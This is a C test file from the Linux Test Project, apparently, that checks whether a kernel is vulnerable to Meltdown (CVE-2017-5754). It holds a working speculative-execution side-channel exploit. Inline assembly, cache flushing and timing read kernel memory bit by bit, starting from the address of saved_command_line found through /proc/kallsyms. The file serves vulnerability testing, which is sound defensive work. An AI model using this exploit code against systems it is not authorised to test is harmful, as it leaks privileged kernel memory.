1*49cdfc7eSAndroid Build Coastguard Worker // SPDX-License-Identifier: GPL-2.0-or-later
2*49cdfc7eSAndroid Build Coastguard Worker /*
3*49cdfc7eSAndroid Build Coastguard Worker * Copyright (c) 2018 Pavel Boldin <[email protected]>
4*49cdfc7eSAndroid Build Coastguard Worker */
5*49cdfc7eSAndroid Build Coastguard Worker
6*49cdfc7eSAndroid Build Coastguard Worker #include "config.h"
7*49cdfc7eSAndroid Build Coastguard Worker #include "tst_test.h"
8*49cdfc7eSAndroid Build Coastguard Worker
9*49cdfc7eSAndroid Build Coastguard Worker #include <stdio.h>
10*49cdfc7eSAndroid Build Coastguard Worker #include <string.h>
11*49cdfc7eSAndroid Build Coastguard Worker #include <signal.h>
12*49cdfc7eSAndroid Build Coastguard Worker #include <ucontext.h>
13*49cdfc7eSAndroid Build Coastguard Worker #include <unistd.h>
14*49cdfc7eSAndroid Build Coastguard Worker #include <fcntl.h>
15*49cdfc7eSAndroid Build Coastguard Worker #include <ctype.h>
16*49cdfc7eSAndroid Build Coastguard Worker #include <sys/utsname.h>
17*49cdfc7eSAndroid Build Coastguard Worker
18*49cdfc7eSAndroid Build Coastguard Worker /* emmintrin.h may exist for some non-x86 systems as an emulation */
19*49cdfc7eSAndroid Build Coastguard Worker #if defined(HAVE_EMMINTRIN_H) && (defined(__x86_64__) || defined(__i386__))
20*49cdfc7eSAndroid Build Coastguard Worker #include <emmintrin.h>
21*49cdfc7eSAndroid Build Coastguard Worker
22*49cdfc7eSAndroid Build Coastguard Worker #include "tst_tsc.h"
23*49cdfc7eSAndroid Build Coastguard Worker
24*49cdfc7eSAndroid Build Coastguard Worker #define TARGET_OFFSET 9
25*49cdfc7eSAndroid Build Coastguard Worker #define TARGET_SIZE (1 << TARGET_OFFSET)
26*49cdfc7eSAndroid Build Coastguard Worker #define BITS_BY_READ 2
27*49cdfc7eSAndroid Build Coastguard Worker
28*49cdfc7eSAndroid Build Coastguard Worker static char target_array[BITS_BY_READ * TARGET_SIZE];
29*49cdfc7eSAndroid Build Coastguard Worker
30*49cdfc7eSAndroid Build Coastguard Worker static void
clflush_target(void)31*49cdfc7eSAndroid Build Coastguard Worker clflush_target(void)
32*49cdfc7eSAndroid Build Coastguard Worker {
33*49cdfc7eSAndroid Build Coastguard Worker int i;
34*49cdfc7eSAndroid Build Coastguard Worker
35*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < BITS_BY_READ; i++)
36*49cdfc7eSAndroid Build Coastguard Worker _mm_clflush(&target_array[i * TARGET_SIZE]);
37*49cdfc7eSAndroid Build Coastguard Worker }
38*49cdfc7eSAndroid Build Coastguard Worker
39*49cdfc7eSAndroid Build Coastguard Worker extern char failshere[];
40*49cdfc7eSAndroid Build Coastguard Worker extern char stopspeculate[];
41*49cdfc7eSAndroid Build Coastguard Worker
42*49cdfc7eSAndroid Build Coastguard Worker static void __attribute__((noinline))
speculate(unsigned long addr,char bit)43*49cdfc7eSAndroid Build Coastguard Worker speculate(unsigned long addr, char bit)
44*49cdfc7eSAndroid Build Coastguard Worker {
45*49cdfc7eSAndroid Build Coastguard Worker register char mybit asm ("cl") = bit;
46*49cdfc7eSAndroid Build Coastguard Worker #ifdef __x86_64__
47*49cdfc7eSAndroid Build Coastguard Worker asm volatile (
48*49cdfc7eSAndroid Build Coastguard Worker "1:\n\t"
49*49cdfc7eSAndroid Build Coastguard Worker
50*49cdfc7eSAndroid Build Coastguard Worker ".rept 300\n\t"
51*49cdfc7eSAndroid Build Coastguard Worker "add $0x141, %%rax\n\t"
52*49cdfc7eSAndroid Build Coastguard Worker ".endr\n"
53*49cdfc7eSAndroid Build Coastguard Worker
54*49cdfc7eSAndroid Build Coastguard Worker "failshere:\n\t"
55*49cdfc7eSAndroid Build Coastguard Worker "movb (%[addr]), %%al\n\t"
56*49cdfc7eSAndroid Build Coastguard Worker "ror %[bit], %%rax\n\t"
57*49cdfc7eSAndroid Build Coastguard Worker "and $1, %%rax\n\t"
58*49cdfc7eSAndroid Build Coastguard Worker "shl $9, %%rax\n\t"
59*49cdfc7eSAndroid Build Coastguard Worker "jz 1b\n\t"
60*49cdfc7eSAndroid Build Coastguard Worker
61*49cdfc7eSAndroid Build Coastguard Worker "movq (%[target], %%rax, 1), %%rbx\n"
62*49cdfc7eSAndroid Build Coastguard Worker
63*49cdfc7eSAndroid Build Coastguard Worker "stopspeculate: \n\t"
64*49cdfc7eSAndroid Build Coastguard Worker "nop\n\t"
65*49cdfc7eSAndroid Build Coastguard Worker :
66*49cdfc7eSAndroid Build Coastguard Worker : [target] "r" (target_array),
67*49cdfc7eSAndroid Build Coastguard Worker [addr] "r" (addr),
68*49cdfc7eSAndroid Build Coastguard Worker [bit] "r" (mybit)
69*49cdfc7eSAndroid Build Coastguard Worker : "rax", "rbx"
70*49cdfc7eSAndroid Build Coastguard Worker );
71*49cdfc7eSAndroid Build Coastguard Worker #else /* defined(__x86_64__) */
72*49cdfc7eSAndroid Build Coastguard Worker asm volatile (
73*49cdfc7eSAndroid Build Coastguard Worker "1:\n\t"
74*49cdfc7eSAndroid Build Coastguard Worker
75*49cdfc7eSAndroid Build Coastguard Worker ".rept 300\n\t"
76*49cdfc7eSAndroid Build Coastguard Worker "add $0x141, %%eax\n\t"
77*49cdfc7eSAndroid Build Coastguard Worker ".endr\n"
78*49cdfc7eSAndroid Build Coastguard Worker
79*49cdfc7eSAndroid Build Coastguard Worker "failshere:\n\t"
80*49cdfc7eSAndroid Build Coastguard Worker "movb (%[addr]), %%al\n\t"
81*49cdfc7eSAndroid Build Coastguard Worker "ror %[bit], %%eax\n\t"
82*49cdfc7eSAndroid Build Coastguard Worker "and $1, %%eax\n\t"
83*49cdfc7eSAndroid Build Coastguard Worker "shl $9, %%eax\n\t"
84*49cdfc7eSAndroid Build Coastguard Worker "jz 1b\n\t"
85*49cdfc7eSAndroid Build Coastguard Worker
86*49cdfc7eSAndroid Build Coastguard Worker "movl (%[target], %%eax, 1), %%ebx\n"
87*49cdfc7eSAndroid Build Coastguard Worker
88*49cdfc7eSAndroid Build Coastguard Worker "stopspeculate: \n\t"
89*49cdfc7eSAndroid Build Coastguard Worker "nop\n\t"
90*49cdfc7eSAndroid Build Coastguard Worker :
91*49cdfc7eSAndroid Build Coastguard Worker : [target] "r" (target_array),
92*49cdfc7eSAndroid Build Coastguard Worker [addr] "r" (addr),
93*49cdfc7eSAndroid Build Coastguard Worker [bit] "r" (mybit)
94*49cdfc7eSAndroid Build Coastguard Worker : "rax", "ebx"
95*49cdfc7eSAndroid Build Coastguard Worker );
96*49cdfc7eSAndroid Build Coastguard Worker #endif
97*49cdfc7eSAndroid Build Coastguard Worker }
98*49cdfc7eSAndroid Build Coastguard Worker
99*49cdfc7eSAndroid Build Coastguard Worker #ifdef __i386__
100*49cdfc7eSAndroid Build Coastguard Worker # define REG_RIP REG_EIP
101*49cdfc7eSAndroid Build Coastguard Worker #endif
102*49cdfc7eSAndroid Build Coastguard Worker
103*49cdfc7eSAndroid Build Coastguard Worker static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)104*49cdfc7eSAndroid Build Coastguard Worker sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
105*49cdfc7eSAndroid Build Coastguard Worker siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
106*49cdfc7eSAndroid Build Coastguard Worker void *context LTP_ATTRIBUTE_UNUSED)
107*49cdfc7eSAndroid Build Coastguard Worker {
108*49cdfc7eSAndroid Build Coastguard Worker ucontext_t *ucontext = context;
109*49cdfc7eSAndroid Build Coastguard Worker unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
110*49cdfc7eSAndroid Build Coastguard Worker if (*prip != (unsigned long)failshere) {
111*49cdfc7eSAndroid Build Coastguard Worker tst_brk(TBROK,
112*49cdfc7eSAndroid Build Coastguard Worker "Segmentation fault at unexpected location %lx",
113*49cdfc7eSAndroid Build Coastguard Worker *prip);
114*49cdfc7eSAndroid Build Coastguard Worker abort();
115*49cdfc7eSAndroid Build Coastguard Worker }
116*49cdfc7eSAndroid Build Coastguard Worker *prip = (unsigned long)stopspeculate;
117*49cdfc7eSAndroid Build Coastguard Worker return;
118*49cdfc7eSAndroid Build Coastguard Worker }
119*49cdfc7eSAndroid Build Coastguard Worker
120*49cdfc7eSAndroid Build Coastguard Worker static int
set_signal(void)121*49cdfc7eSAndroid Build Coastguard Worker set_signal(void)
122*49cdfc7eSAndroid Build Coastguard Worker {
123*49cdfc7eSAndroid Build Coastguard Worker struct sigaction act = {
124*49cdfc7eSAndroid Build Coastguard Worker .sa_sigaction = sigsegv,
125*49cdfc7eSAndroid Build Coastguard Worker .sa_flags = SA_SIGINFO,
126*49cdfc7eSAndroid Build Coastguard Worker };
127*49cdfc7eSAndroid Build Coastguard Worker
128*49cdfc7eSAndroid Build Coastguard Worker return sigaction(SIGSEGV, &act, NULL);
129*49cdfc7eSAndroid Build Coastguard Worker }
130*49cdfc7eSAndroid Build Coastguard Worker
131*49cdfc7eSAndroid Build Coastguard Worker static inline int
get_access_time(volatile char * addr)132*49cdfc7eSAndroid Build Coastguard Worker get_access_time(volatile char *addr)
133*49cdfc7eSAndroid Build Coastguard Worker {
134*49cdfc7eSAndroid Build Coastguard Worker unsigned long long time1, time2;
135*49cdfc7eSAndroid Build Coastguard Worker volatile int j LTP_ATTRIBUTE_UNUSED;
136*49cdfc7eSAndroid Build Coastguard Worker
137*49cdfc7eSAndroid Build Coastguard Worker rdtscll(time1);
138*49cdfc7eSAndroid Build Coastguard Worker
139*49cdfc7eSAndroid Build Coastguard Worker j = *addr;
140*49cdfc7eSAndroid Build Coastguard Worker
141*49cdfc7eSAndroid Build Coastguard Worker _mm_mfence();
142*49cdfc7eSAndroid Build Coastguard Worker rdtscll(time2);
143*49cdfc7eSAndroid Build Coastguard Worker
144*49cdfc7eSAndroid Build Coastguard Worker return time2 - time1;
145*49cdfc7eSAndroid Build Coastguard Worker }
146*49cdfc7eSAndroid Build Coastguard Worker
147*49cdfc7eSAndroid Build Coastguard Worker static int cache_hit_threshold;
148*49cdfc7eSAndroid Build Coastguard Worker static int hist[BITS_BY_READ];
149*49cdfc7eSAndroid Build Coastguard Worker
150*49cdfc7eSAndroid Build Coastguard Worker static void
check(void)151*49cdfc7eSAndroid Build Coastguard Worker check(void)
152*49cdfc7eSAndroid Build Coastguard Worker {
153*49cdfc7eSAndroid Build Coastguard Worker int i, time;
154*49cdfc7eSAndroid Build Coastguard Worker volatile char *addr;
155*49cdfc7eSAndroid Build Coastguard Worker
156*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < BITS_BY_READ; i++) {
157*49cdfc7eSAndroid Build Coastguard Worker addr = &target_array[i * TARGET_SIZE];
158*49cdfc7eSAndroid Build Coastguard Worker
159*49cdfc7eSAndroid Build Coastguard Worker time = get_access_time(addr);
160*49cdfc7eSAndroid Build Coastguard Worker
161*49cdfc7eSAndroid Build Coastguard Worker if (time <= cache_hit_threshold)
162*49cdfc7eSAndroid Build Coastguard Worker hist[i]++;
163*49cdfc7eSAndroid Build Coastguard Worker }
164*49cdfc7eSAndroid Build Coastguard Worker }
165*49cdfc7eSAndroid Build Coastguard Worker
166*49cdfc7eSAndroid Build Coastguard Worker #define CYCLES 10000
167*49cdfc7eSAndroid Build Coastguard Worker static int
readbit(int fd,unsigned long addr,char bit)168*49cdfc7eSAndroid Build Coastguard Worker readbit(int fd, unsigned long addr, char bit)
169*49cdfc7eSAndroid Build Coastguard Worker {
170*49cdfc7eSAndroid Build Coastguard Worker int i, ret;
171*49cdfc7eSAndroid Build Coastguard Worker static char buf[256];
172*49cdfc7eSAndroid Build Coastguard Worker
173*49cdfc7eSAndroid Build Coastguard Worker memset(hist, 0, sizeof(hist));
174*49cdfc7eSAndroid Build Coastguard Worker
175*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < CYCLES; i++) {
176*49cdfc7eSAndroid Build Coastguard Worker ret = pread(fd, buf, sizeof(buf), 0);
177*49cdfc7eSAndroid Build Coastguard Worker if (ret < 0)
178*49cdfc7eSAndroid Build Coastguard Worker tst_res(TFAIL | TERRNO, "can't read fd");
179*49cdfc7eSAndroid Build Coastguard Worker
180*49cdfc7eSAndroid Build Coastguard Worker clflush_target();
181*49cdfc7eSAndroid Build Coastguard Worker
182*49cdfc7eSAndroid Build Coastguard Worker speculate(addr, bit);
183*49cdfc7eSAndroid Build Coastguard Worker check();
184*49cdfc7eSAndroid Build Coastguard Worker }
185*49cdfc7eSAndroid Build Coastguard Worker
186*49cdfc7eSAndroid Build Coastguard Worker #ifdef DEBUG
187*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < BITS_BY_READ; i++)
188*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
189*49cdfc7eSAndroid Build Coastguard Worker #endif
190*49cdfc7eSAndroid Build Coastguard Worker
191*49cdfc7eSAndroid Build Coastguard Worker if (hist[1] > CYCLES / 10)
192*49cdfc7eSAndroid Build Coastguard Worker return 1;
193*49cdfc7eSAndroid Build Coastguard Worker return 0;
194*49cdfc7eSAndroid Build Coastguard Worker }
195*49cdfc7eSAndroid Build Coastguard Worker
196*49cdfc7eSAndroid Build Coastguard Worker static int
readbyte(int fd,unsigned long addr)197*49cdfc7eSAndroid Build Coastguard Worker readbyte(int fd, unsigned long addr)
198*49cdfc7eSAndroid Build Coastguard Worker {
199*49cdfc7eSAndroid Build Coastguard Worker int bit, res = 0;
200*49cdfc7eSAndroid Build Coastguard Worker
201*49cdfc7eSAndroid Build Coastguard Worker for (bit = 0; bit < 8; bit ++ )
202*49cdfc7eSAndroid Build Coastguard Worker res |= (readbit(fd, addr, bit) << bit);
203*49cdfc7eSAndroid Build Coastguard Worker
204*49cdfc7eSAndroid Build Coastguard Worker return res;
205*49cdfc7eSAndroid Build Coastguard Worker }
206*49cdfc7eSAndroid Build Coastguard Worker
207*49cdfc7eSAndroid Build Coastguard Worker
208*49cdfc7eSAndroid Build Coastguard Worker static int
mysqrt(long val)209*49cdfc7eSAndroid Build Coastguard Worker mysqrt(long val)
210*49cdfc7eSAndroid Build Coastguard Worker {
211*49cdfc7eSAndroid Build Coastguard Worker int root = val / 2, prevroot = 0, i = 0;
212*49cdfc7eSAndroid Build Coastguard Worker
213*49cdfc7eSAndroid Build Coastguard Worker while (prevroot != root && i++ < 100) {
214*49cdfc7eSAndroid Build Coastguard Worker prevroot = root;
215*49cdfc7eSAndroid Build Coastguard Worker root = (val / root + root) / 2;
216*49cdfc7eSAndroid Build Coastguard Worker }
217*49cdfc7eSAndroid Build Coastguard Worker
218*49cdfc7eSAndroid Build Coastguard Worker return root;
219*49cdfc7eSAndroid Build Coastguard Worker }
220*49cdfc7eSAndroid Build Coastguard Worker
221*49cdfc7eSAndroid Build Coastguard Worker #define ESTIMATE_CYCLES 1000000
222*49cdfc7eSAndroid Build Coastguard Worker static void
set_cache_hit_threshold(void)223*49cdfc7eSAndroid Build Coastguard Worker set_cache_hit_threshold(void)
224*49cdfc7eSAndroid Build Coastguard Worker {
225*49cdfc7eSAndroid Build Coastguard Worker long cached, uncached, i;
226*49cdfc7eSAndroid Build Coastguard Worker
227*49cdfc7eSAndroid Build Coastguard Worker for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
228*49cdfc7eSAndroid Build Coastguard Worker cached += get_access_time(target_array);
229*49cdfc7eSAndroid Build Coastguard Worker
230*49cdfc7eSAndroid Build Coastguard Worker for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
231*49cdfc7eSAndroid Build Coastguard Worker cached += get_access_time(target_array);
232*49cdfc7eSAndroid Build Coastguard Worker
233*49cdfc7eSAndroid Build Coastguard Worker for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
234*49cdfc7eSAndroid Build Coastguard Worker _mm_clflush(target_array);
235*49cdfc7eSAndroid Build Coastguard Worker uncached += get_access_time(target_array);
236*49cdfc7eSAndroid Build Coastguard Worker }
237*49cdfc7eSAndroid Build Coastguard Worker
238*49cdfc7eSAndroid Build Coastguard Worker cached /= ESTIMATE_CYCLES;
239*49cdfc7eSAndroid Build Coastguard Worker uncached /= ESTIMATE_CYCLES;
240*49cdfc7eSAndroid Build Coastguard Worker
241*49cdfc7eSAndroid Build Coastguard Worker cache_hit_threshold = mysqrt(cached * uncached);
242*49cdfc7eSAndroid Build Coastguard Worker
243*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO,
244*49cdfc7eSAndroid Build Coastguard Worker "access time: cached = %ld, uncached = %ld, threshold = %d",
245*49cdfc7eSAndroid Build Coastguard Worker cached, uncached, cache_hit_threshold);
246*49cdfc7eSAndroid Build Coastguard Worker }
247*49cdfc7eSAndroid Build Coastguard Worker
248*49cdfc7eSAndroid Build Coastguard Worker static unsigned long
find_symbol_in_file(const char * filename,const char * symname)249*49cdfc7eSAndroid Build Coastguard Worker find_symbol_in_file(const char *filename, const char *symname)
250*49cdfc7eSAndroid Build Coastguard Worker {
251*49cdfc7eSAndroid Build Coastguard Worker unsigned long addr;
252*49cdfc7eSAndroid Build Coastguard Worker char type;
253*49cdfc7eSAndroid Build Coastguard Worker int ret, read;
254*49cdfc7eSAndroid Build Coastguard Worker char fmt[strlen(symname) + 64];
255*49cdfc7eSAndroid Build Coastguard Worker
256*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "Looking for %s in %s", symname, filename);
257*49cdfc7eSAndroid Build Coastguard Worker if (access(filename, F_OK) == -1) {
258*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "%s not available", filename);
259*49cdfc7eSAndroid Build Coastguard Worker return 0;
260*49cdfc7eSAndroid Build Coastguard Worker }
261*49cdfc7eSAndroid Build Coastguard Worker
262*49cdfc7eSAndroid Build Coastguard Worker sprintf(fmt, "%%lx %%c %s%%c", symname);
263*49cdfc7eSAndroid Build Coastguard Worker
264*49cdfc7eSAndroid Build Coastguard Worker ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
265*49cdfc7eSAndroid Build Coastguard Worker if (ret)
266*49cdfc7eSAndroid Build Coastguard Worker return 0;
267*49cdfc7eSAndroid Build Coastguard Worker
268*49cdfc7eSAndroid Build Coastguard Worker return addr;
269*49cdfc7eSAndroid Build Coastguard Worker }
270*49cdfc7eSAndroid Build Coastguard Worker
271*49cdfc7eSAndroid Build Coastguard Worker static unsigned long
find_kernel_symbol(const char * name)272*49cdfc7eSAndroid Build Coastguard Worker find_kernel_symbol(const char *name)
273*49cdfc7eSAndroid Build Coastguard Worker {
274*49cdfc7eSAndroid Build Coastguard Worker char systemmap[256];
275*49cdfc7eSAndroid Build Coastguard Worker struct utsname utsname;
276*49cdfc7eSAndroid Build Coastguard Worker unsigned long addr;
277*49cdfc7eSAndroid Build Coastguard Worker
278*49cdfc7eSAndroid Build Coastguard Worker addr = find_symbol_in_file("/proc/kallsyms", name);
279*49cdfc7eSAndroid Build Coastguard Worker if (addr)
280*49cdfc7eSAndroid Build Coastguard Worker return addr;
281*49cdfc7eSAndroid Build Coastguard Worker
282*49cdfc7eSAndroid Build Coastguard Worker if (uname(&utsname) < 0)
283*49cdfc7eSAndroid Build Coastguard Worker tst_brk(TBROK | TERRNO, "uname");
284*49cdfc7eSAndroid Build Coastguard Worker sprintf(systemmap, "/boot/System.map-%s", utsname.release);
285*49cdfc7eSAndroid Build Coastguard Worker addr = find_symbol_in_file(systemmap, name);
286*49cdfc7eSAndroid Build Coastguard Worker return addr;
287*49cdfc7eSAndroid Build Coastguard Worker }
288*49cdfc7eSAndroid Build Coastguard Worker
289*49cdfc7eSAndroid Build Coastguard Worker static unsigned long saved_cmdline_addr;
290*49cdfc7eSAndroid Build Coastguard Worker static int spec_fd;
291*49cdfc7eSAndroid Build Coastguard Worker
setup(void)292*49cdfc7eSAndroid Build Coastguard Worker static void setup(void)
293*49cdfc7eSAndroid Build Coastguard Worker {
294*49cdfc7eSAndroid Build Coastguard Worker set_cache_hit_threshold();
295*49cdfc7eSAndroid Build Coastguard Worker
296*49cdfc7eSAndroid Build Coastguard Worker saved_cmdline_addr = find_kernel_symbol("saved_command_line");
297*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
298*49cdfc7eSAndroid Build Coastguard Worker
299*49cdfc7eSAndroid Build Coastguard Worker if (!saved_cmdline_addr)
300*49cdfc7eSAndroid Build Coastguard Worker tst_brk(TCONF, "saved_command_line not found");
301*49cdfc7eSAndroid Build Coastguard Worker
302*49cdfc7eSAndroid Build Coastguard Worker spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
303*49cdfc7eSAndroid Build Coastguard Worker
304*49cdfc7eSAndroid Build Coastguard Worker memset(target_array, 1, sizeof(target_array));
305*49cdfc7eSAndroid Build Coastguard Worker
306*49cdfc7eSAndroid Build Coastguard Worker if (set_signal() < 0)
307*49cdfc7eSAndroid Build Coastguard Worker tst_res(TFAIL | TERRNO, "set_signal");
308*49cdfc7eSAndroid Build Coastguard Worker }
309*49cdfc7eSAndroid Build Coastguard Worker
310*49cdfc7eSAndroid Build Coastguard Worker #define READ_SIZE 32
311*49cdfc7eSAndroid Build Coastguard Worker
run(void)312*49cdfc7eSAndroid Build Coastguard Worker static void run(void)
313*49cdfc7eSAndroid Build Coastguard Worker {
314*49cdfc7eSAndroid Build Coastguard Worker unsigned int i, score = 0, ret;
315*49cdfc7eSAndroid Build Coastguard Worker unsigned long addr;
316*49cdfc7eSAndroid Build Coastguard Worker unsigned long size;
317*49cdfc7eSAndroid Build Coastguard Worker char read[READ_SIZE] = { 0 };
318*49cdfc7eSAndroid Build Coastguard Worker char expected[READ_SIZE] = { 0 };
319*49cdfc7eSAndroid Build Coastguard Worker int expected_len;
320*49cdfc7eSAndroid Build Coastguard Worker
321*49cdfc7eSAndroid Build Coastguard Worker expected_len = pread(spec_fd, expected, sizeof(expected), 0);
322*49cdfc7eSAndroid Build Coastguard Worker if (expected_len < 0)
323*49cdfc7eSAndroid Build Coastguard Worker tst_res(TFAIL | TERRNO, "can't read test fd");
324*49cdfc7eSAndroid Build Coastguard Worker
325*49cdfc7eSAndroid Build Coastguard Worker /* read address of saved_cmdline_addr */
326*49cdfc7eSAndroid Build Coastguard Worker addr = saved_cmdline_addr;
327*49cdfc7eSAndroid Build Coastguard Worker size = sizeof(addr);
328*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < size; i++) {
329*49cdfc7eSAndroid Build Coastguard Worker ret = readbyte(spec_fd, addr);
330*49cdfc7eSAndroid Build Coastguard Worker
331*49cdfc7eSAndroid Build Coastguard Worker read[i] = ret;
332*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
333*49cdfc7eSAndroid Build Coastguard Worker isprint(ret) ? ret : ' ');
334*49cdfc7eSAndroid Build Coastguard Worker
335*49cdfc7eSAndroid Build Coastguard Worker addr++;
336*49cdfc7eSAndroid Build Coastguard Worker }
337*49cdfc7eSAndroid Build Coastguard Worker
338*49cdfc7eSAndroid Build Coastguard Worker /* read value pointed to by saved_cmdline_addr */
339*49cdfc7eSAndroid Build Coastguard Worker memcpy(&addr, read, sizeof(addr));
340*49cdfc7eSAndroid Build Coastguard Worker memset(read, 0, sizeof(read));
341*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "save_command_line: 0x%lx", addr);
342*49cdfc7eSAndroid Build Coastguard Worker size = expected_len;
343*49cdfc7eSAndroid Build Coastguard Worker
344*49cdfc7eSAndroid Build Coastguard Worker if (!addr)
345*49cdfc7eSAndroid Build Coastguard Worker goto done;
346*49cdfc7eSAndroid Build Coastguard Worker
347*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < size; i++) {
348*49cdfc7eSAndroid Build Coastguard Worker ret = readbyte(spec_fd, addr);
349*49cdfc7eSAndroid Build Coastguard Worker
350*49cdfc7eSAndroid Build Coastguard Worker read[i] = ret;
351*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
352*49cdfc7eSAndroid Build Coastguard Worker " match: %d", addr, ret, isprint(ret) ? ret : ' ',
353*49cdfc7eSAndroid Build Coastguard Worker expected[i], read[i] == expected[i]);
354*49cdfc7eSAndroid Build Coastguard Worker
355*49cdfc7eSAndroid Build Coastguard Worker addr++;
356*49cdfc7eSAndroid Build Coastguard Worker }
357*49cdfc7eSAndroid Build Coastguard Worker
358*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < size; i++)
359*49cdfc7eSAndroid Build Coastguard Worker if (expected[i] == read[i])
360*49cdfc7eSAndroid Build Coastguard Worker score++;
361*49cdfc7eSAndroid Build Coastguard Worker
362*49cdfc7eSAndroid Build Coastguard Worker done:
363*49cdfc7eSAndroid Build Coastguard Worker if (score > size / 2)
364*49cdfc7eSAndroid Build Coastguard Worker tst_res(TFAIL, "I was able to read your kernel memory!!!");
365*49cdfc7eSAndroid Build Coastguard Worker else
366*49cdfc7eSAndroid Build Coastguard Worker tst_res(TPASS, "I was not able to read your kernel memory");
367*49cdfc7eSAndroid Build Coastguard Worker tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
368*49cdfc7eSAndroid Build Coastguard Worker }
369*49cdfc7eSAndroid Build Coastguard Worker
cleanup(void)370*49cdfc7eSAndroid Build Coastguard Worker static void cleanup(void)
371*49cdfc7eSAndroid Build Coastguard Worker {
372*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(spec_fd);
373*49cdfc7eSAndroid Build Coastguard Worker }
374*49cdfc7eSAndroid Build Coastguard Worker
375*49cdfc7eSAndroid Build Coastguard Worker static struct tst_test test = {
376*49cdfc7eSAndroid Build Coastguard Worker .needs_root = 1,
377*49cdfc7eSAndroid Build Coastguard Worker .setup = setup,
378*49cdfc7eSAndroid Build Coastguard Worker .test_all = run,
379*49cdfc7eSAndroid Build Coastguard Worker .cleanup = cleanup,
380*49cdfc7eSAndroid Build Coastguard Worker .supported_archs = (const char *const []) {
381*49cdfc7eSAndroid Build Coastguard Worker "x86",
382*49cdfc7eSAndroid Build Coastguard Worker "x86_64",
383*49cdfc7eSAndroid Build Coastguard Worker NULL
384*49cdfc7eSAndroid Build Coastguard Worker },
385*49cdfc7eSAndroid Build Coastguard Worker .tags = (const struct tst_tag[]) {
386*49cdfc7eSAndroid Build Coastguard Worker {"CVE", "2017-5754"},
387*49cdfc7eSAndroid Build Coastguard Worker {}
388*49cdfc7eSAndroid Build Coastguard Worker }
389*49cdfc7eSAndroid Build Coastguard Worker };
390*49cdfc7eSAndroid Build Coastguard Worker
391*49cdfc7eSAndroid Build Coastguard Worker #else /* HAVE_EMMINTRIN_H */
392*49cdfc7eSAndroid Build Coastguard Worker TST_TEST_TCONF("<emmintrin.h> is not supported");
393*49cdfc7eSAndroid Build Coastguard Worker #endif
394